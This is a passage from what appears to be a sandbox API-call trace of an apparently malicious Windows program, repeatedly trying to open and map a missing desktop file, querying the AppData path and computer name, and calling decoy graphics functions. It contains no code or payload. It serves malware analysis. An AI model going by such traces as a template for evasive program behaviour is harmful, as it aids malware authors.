"c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.022] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.022] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.022] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.022] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.022] CloseHandle (hObject=0x0) returned 0 [0145.022] CloseHandle (hObject=0xffffffff) returned 1 [0145.022] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.022] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.022] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.022] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.022] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.023] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.023] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.023] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.023] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.023] CloseHandle (hObject=0x0) returned 0 [0145.023] CloseHandle (hObject=0xffffffff) returned 1 [0145.023] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.023] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.023] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.023] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.023] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.023] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.023] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.023] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.023] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.023] CloseHandle (hObject=0x0) returned 0 [0145.023] CloseHandle (hObject=0xffffffff) returned 1 [0145.023] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.023] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.023] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.024] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.024] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.049] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.049] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.049] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.049] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.049] CloseHandle (hObject=0x0) returned 0 [0145.049] CloseHandle (hObject=0xffffffff) returned 1 [0145.050] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.050] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.050] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.050] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.050] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.050] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.050] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.050] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.050] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.050] CloseHandle (hObject=0x0) returned 0 [0145.050] CloseHandle (hObject=0xffffffff) returned 1 [0145.050] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.050] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.050] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.050] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.050] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.050] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.051] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.051] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.051] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.051] CloseHandle (hObject=0x0) returned 0 [0145.051] CloseHandle (hObject=0xffffffff) returned 1 [0145.051] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.051] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.051] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.051] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.051] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.051] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.051] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.051] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.051] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.051] CloseHandle (hObject=0x0) returned 0 [0145.051] CloseHandle (hObject=0xffffffff) returned 1 [0145.051] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.051] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.051] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.051] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.051] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.052] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.052] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.052] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.052] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.052] CloseHandle (hObject=0x0) returned 0 [0145.052] CloseHandle (hObject=0xffffffff) returned 1 [0145.052] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.052] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.052] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.052] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.052] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.052] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.052] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.052] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.052] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.052] CloseHandle (hObject=0x0) returned 0 [0145.052] CloseHandle (hObject=0xffffffff) returned 1 [0145.052] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.052] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.053] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.053] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.053] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.053] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.053] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.053] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.053] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.053] CloseHandle (hObject=0x0) returned 0 [0145.053] CloseHandle (hObject=0xffffffff) returned 1 [0145.053] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.053] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.053] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.053] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.053] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.053] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.053] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.053] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.053] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.053] CloseHandle (hObject=0x0) returned 0 [0145.053] CloseHandle (hObject=0xffffffff) returned 1 [0145.054] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.054] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.054] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.054] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.054] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.054] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.054] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.054] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.054] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.054] CloseHandle (hObject=0x0) returned 0 [0145.054] CloseHandle (hObject=0xffffffff) returned 1 [0145.054] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.054] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.054] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.054] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.054] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.054] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.055] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.055] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.055] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.055] CloseHandle (hObject=0x0) returned 0 [0145.055] CloseHandle (hObject=0xffffffff) returned 1 [0145.055] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.055] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.055] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.055] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.055] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.055] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.055] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.055] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.055] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.055] CloseHandle (hObject=0x0) returned 0 [0145.055] CloseHandle (hObject=0xffffffff) returned 1 [0145.055] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.055] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.056] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.056] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.056] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.056] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.056] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.056] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.056] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.056] CloseHandle (hObject=0x0) returned 0 [0145.056] CloseHandle (hObject=0xffffffff) returned 1 [0145.056] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.056] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.056] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.056] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.056] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.056] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.056] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.056] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.057] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.057] CloseHandle (hObject=0x0) returned 0 [0145.057] CloseHandle (hObject=0xffffffff) returned 1 [0145.057] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.057] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.057] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.057] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.057] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.057] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.057] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.057] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.057] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.057] CloseHandle (hObject=0x0) returned 0 [0145.057] CloseHandle (hObject=0xffffffff) returned 1 [0145.057] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.057] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.057] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.058] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.058] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.058] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: 